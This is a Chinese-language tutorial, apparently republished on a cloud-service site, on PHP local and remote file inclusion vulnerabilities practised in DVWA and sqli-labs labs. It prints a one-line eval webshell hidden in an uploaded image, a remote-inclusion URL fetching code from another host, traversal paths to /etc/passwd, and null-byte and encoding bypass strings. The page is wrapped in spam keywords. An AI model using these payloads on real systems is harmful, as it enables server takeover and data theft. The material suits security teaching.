91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

文件包含漏洞總結

發布時間:2020-07-12 18:49:41 來源:網絡 閱讀:6622 作者:wt7315 欄目:安全技術


本實驗是基于DVWA和sqli-labs的實驗環境

實驗平臺搭建:下載Wamp集成環境,并下載DVWA和sqli-labs和壓縮包解壓至wamp\www的目錄下。安裝只要注意Wamp環境的數據庫名和密碼對應即可。



0x01:文件包含漏洞

服務器通過php的特性(函數)去包含任意文件時,由于要包含的這個文件來源過濾不嚴,從而可以去包含一個惡意文件,而我們可以構造這個惡意文件來達到邪惡的目的。

這也算官方的解釋吧,用個人的話說,通過瀏覽器、url地址或者是一個參數的變量的內容,可以通過修改這些url或者參數變量的內容,讀取到web根目錄以前其他文件,但是不同于目錄瀏覽,目錄瀏覽是可以通過瀏覽器直接顯示www目錄下每一個文件的名稱,把目錄列表給列出來。

 

 

 文件包含漏洞形成原因

  程序開發人員一般會把重復使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這中文件調用的過程一般被稱為文件包含。程序開發人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態調用,

但正是由于這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。幾乎所有腳本語言都會提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSPASPASP.NET程序中卻非常少,甚至沒有,這是有些語言設計的弊端。PHP中經常出現包含漏洞,但這并不意味這其他語言不存在。

 

  常見文件包含函數

include():執行到include時才包含文件,找不到被包含文件時只會產生警告,腳本將繼續執行

require():只要程序一運行就包含文件,找不到被包含的文件時會產生致命錯誤,并停止腳本

include_once()require_once():這兩個函數和前兩個函數作用幾乎相同,區別在于若文件中代碼已被包含則不會再次包含

 

 

LFI(本地包含漏洞)目錄遍歷可以理解為本地包含漏洞,驗證以及利用方法都相同。

RFI(遠程包含漏洞)可以包含進其他主機的url地址,如自己開放一個www服務,然后在上面放一個***文件,如果是代碼會在這個機器上執行的。拿到shell的權限要看運行www服務的帳號。

 

 

包含漏洞的特征:(這個可以說是文中的干貨了)

在某一個頁面中,一個變量的值等于一個頁面文件或者是一個固定的值,如

page=a.asp

home=b.html

file=content

 

 

漏洞分類

本地文件包含:可以包含本地文件,在條件允許時甚至能執行代碼

    上傳圖片馬,然后包含

    讀敏感文件,讀PHP文件

    包含日志文件GetShell

    包含/proc/self/envion文件GetShell

    包含data:php://input等偽協議

    若有phpinfo則可以包含臨時文件

遠程文件包含:可以直接執行任意代碼

要保證php.iniallow_url_fopenallow_url_include要為On

 

 

0x02、文件包含漏洞利用

1、包含讀出目標機上其它文件

如果對取得的參數page沒有過濾,于是我們可以任意指定目標主機上的其它敏感文件

 

linux中,"."表示當前目錄,“..”表示上一層目錄,當../到根目錄下,再往上層父目錄仍舊是根目錄。

文件包含漏洞總結



用常見的“../”包含出日志文件。

文件包含漏洞總結


2、包含可運行的PHP***

在很多地方,我們都可以上傳圖片,如上傳頭像,圖片等,這這里先上傳圖片,圖片的內容為一句話***

<?php @eval($_POST['cmd']);?>





文件包含漏洞總結

由于上傳的限制,一般只能上傳jpgpng的圖片格式,代碼無法執行,我們用本地包含的方式將圖片包含進來,代碼就執行了,代碼不需要后綴名是php、asp的格式,只要內容是代碼即可執行

文件包含漏洞總結


然后用中國菜刀連接(功夫再高,也怕菜刀!)

文件包含漏洞總結



3.遠程包含url和php***

如果目標主機的"allow_url_fopen"是激活的(默認是激活的),我們就可以有更大的利用空間,我們可以指定其它URL上的一個包含PHP代碼的webshell來直接運行

不需要后綴名是php、asp的格式,只要內容是代碼就可以。

出現概率少于本地包含,但更容易被利用

 

如在自己服務器上寫上一句話代碼,然后用遠程包含漏洞去包含這個鏈接,

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://192.168.0.117/a.php

 

然后同上,用菜刀連接,獲取webshell

 

 

0x03、包含漏洞繞過技巧

在利用包含漏洞中,經常遇到一個問題,在查看page=/etc/passwd的時候,出現報錯,找不到/etc/passwd.php文件,說明默認自動加上了后綴名.php,繞過的方式有一下幾種

 

1.編碼繞過字符過濾

(1)加“.”,當加點,會忽略點后面的內容。

(2)“%00”,即null空字符(/etc/passwd%00),在php語言格式里,當遇到%00的時候,后面不管有無其他東西,都不看了,只看%00前面的內容

(3)“#”,繞過文件擴展名過濾

 

 

2、編碼

url編碼、雙層(多層)url編碼

%2e%2e%2f   解碼:../

%2e%2e%5c  解碼:..\

%25%2e%25%2e%255c 解碼:..\(可使用burp多層編碼和解碼)

 

uniclode/UTF-8編碼

..%c0%af  解碼:../

%c1%9c  解碼:..\

 

編碼能否正確的起到效果,得看web server是否能對編碼后的做解析

 

 

3、其他系統可能是使用到的特殊字符

file.txt ...

file.txt <spaces>

file .txt """"""""

file.txt <<>><

./././ file.txt



4、***向量字典

kali中,也存在***向量字典路徑是“/usr/share/wfuzz/wordlist/vulns”文件包含漏洞總結



利用條件

程序用include()等文件包含函數通過動態變量的范式引入需要包含的文件

用戶能夠控制該動態變量



漏洞危害

這類漏洞看起來貌似并不嚴重,一旦被惡意利用則會帶來很大的危害。本地文件包含不僅能夠包含web文件目錄中的一些配置文件(比如Web應用、數據庫配置文件、config文件),還可以查看到一些Web動態頁面的源代碼,為***者進一步發掘web應用漏洞提供條件,甚至一旦與路徑遍歷漏洞相結合,還可能直接攫取目標系統的用戶名與密碼等文件。并且能執行任意代碼,甚至控制服務器。


向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

黔江区| 常熟市| 丰顺县| 互助| 定兴县| 嘉荫县| 哈巴河县| 双桥区| 正定县| 渭南市| 巴林右旗| 石门县| 漠河县| 成武县| 临夏县| 岢岚县| 五原县| 金乡县| 廊坊市| 当涂县| 舞阳县| 商丘市| 胶州市| 华安县| 额济纳旗| 城步| 延安市| 长垣县| 樟树市| 莫力| 沅江市| 嘉善县| 伊宁市| 泸定县| 天台县| 湟源县| 绩溪县| 绵阳市| 额济纳旗| 广饶县| 翁源县|